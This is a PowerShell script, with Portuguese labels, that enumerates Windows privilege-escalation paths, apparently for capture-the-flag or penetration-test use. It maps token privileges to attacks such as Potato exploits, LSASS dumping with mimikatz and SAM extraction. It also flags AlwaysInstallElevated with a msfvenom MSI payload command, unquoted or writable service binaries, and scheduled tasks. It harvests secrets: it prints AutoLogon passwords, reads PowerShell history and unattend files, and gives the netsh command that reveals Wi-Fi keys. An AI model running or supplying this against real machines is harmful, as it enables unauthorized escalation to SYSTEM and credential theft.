$os = Get-CimInstance Win32_OperatingSystem -ErrorAction SilentlyContinue
"OS: $($os.Caption) Build $($os.BuildNumber)"
whoami /groups | Select-String "Mandatory Label"

H "PRIVILÉGIOS (whoami /priv)"
$priv = whoami /priv
$priv
$map = @{
 "SeImpersonatePrivilege"      = "PrintSpoofer / GodPotato / JuicyPotatoNG -> SYSTEM";
 "SeAssignPrimaryTokenPrivilege"="Potatoes -> SYSTEM";
 "SeBackupPrivilege"           = "reg save HKLM\SAM + SYSTEM -> secretsdump LOCAL";
 "SeRestorePrivilege"          = "sobrescrever binário de serviço / utilman";
 "SeDebugPrivilege"            = "dump LSASS (procdump/mimikatz)";
 "SeTakeOwnershipPrivilege"    = "takeown em arquivos protegidos";
 "SeLoadDriverPrivilege"       = "carregar driver vulnerável (Capcom)";
 "SeManageVolumePrivilege"     = "SeManageVolumeExploit -> escrita em C:\Windows"
}
foreach($k in $map.Keys){ if($priv -match $k){ HIT "$k  =>  $($map[$k])" } }

H "AlwaysInstallElevated"
$a = (Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer -ErrorAction ↩
    SilentlyContinue).AlwaysInstallElevated
$b = (Get-ItemProperty HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer -ErrorAction ↩
    SilentlyContinue).AlwaysInstallElevated
if($a -eq 1 -and $b -eq 1){ HIT "AlwaysInstallElevated ON -> msfvenom -f msi ; msiexec /quiet /qn /i x.msi" } ↩
    else { "não" }

H "SERVIÇOS - unquoted path / binário gravável"
Get-CimInstance Win32_Service -ErrorAction SilentlyContinue | Where-Object { $_.PathName } | ForEach-Object {
  $p = $_.PathName
  if($p -notmatch '^"' -and $p -match ' ' -and $p -notmatch '^C:\\Windows\\'){
    HIT "Unquoted: $($_.Name) [$($_.StartMode)/$($_.StartName)] $p"
  }
  $exe = ($p -replace '^"([^"]+)".*','$1') -replace '\s+-.*$',''
  if(Test-Path $exe -ErrorAction SilentlyContinue){
    $acl = (Get-Acl $exe -ErrorAction SilentlyContinue).Access |
      Where-Object { $_.IdentityReference -match "Everyone|Users|Authenticated Users|$env:USERNAME" -and
                     $_.FileSystemRights -match "Write|Modify|FullControl" }
    if($acl){ HIT "Binário gravável: $($_.Name) -> $exe" }
  }
}
NOTE "Permissão no próprio serviço: accesschk.exe /accepteula -uwcqv $env:USERNAME *  (SERVICE_CHANGE_CONFIG = ↩
    sc config binpath=)"

H "CREDENCIAIS SALVAS"
cmdkey /list
$wl = Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -ErrorAction ↩
    SilentlyContinue
if($wl.DefaultPassword){ HIT "AutoLogon: $($wl.DefaultUserName) / $($wl.DefaultPassword)" }
$hist = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
if(Test-Path $hist){ NOTE "Histórico PowerShell:"; Get-Content $hist -Tail 30 }
foreach($f in "C:\unattend.xml","C:\Windows\Panther\Unattend.xml","C:\Windows\Panther\Unattend\Unattend.xml","C: ↩
    \Windows\System32\sysprep\sysprep.xml"){
  if(Test-Path $f){ HIT "Arquivo de instalação com possível senha: $f" }
}
NOTE "Wi-Fi: netsh wlan show profiles ; netsh wlan show profile name=X key=clear"

H "TAREFAS AGENDADAS (não-Microsoft)"
Get-ScheduledTask -ErrorAction SilentlyContinue | Where-Object { $_.TaskPath -notlike "\Microsoft*" } |
  ForEach-Object { "$($_.TaskName) -> $($_.Actions.Execute) $($_.Actions.Arguments) [$($_.Principal.UserId)]" }

H "AUTORUN / STARTUP"
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run -ErrorAction SilentlyContinue
Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" -ErrorAction SilentlyContinue
```

```
H "REDE"
netstat -ano | Select-String "LISTENING" | Select-Object -First 25

H "SOFTWARE INSTALADO"
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*,HKLM:\Software\Wow6432Node\Microsof ↩
    t\Windows\CurrentVersion\Uninstall\* -ErrorAction SilentlyContinue |
  Where-Object DisplayName | Select-Object DisplayName,DisplayVersion | Sort-Object DisplayName | Format-Table ↩
    -AutoSize

Write-Host "`n[OK] Fim. Próximo passo: winPEAS / PowerUp (Invoke-AllChecks) / SharpUp." -ForegroundColor Green
Write-Host "Flags: Get-ChildItem C:\ -Recurse -Include *flag*,user.txt,root.txt -ErrorAction SilentlyContinue" ↩
    -ForegroundColor Green
```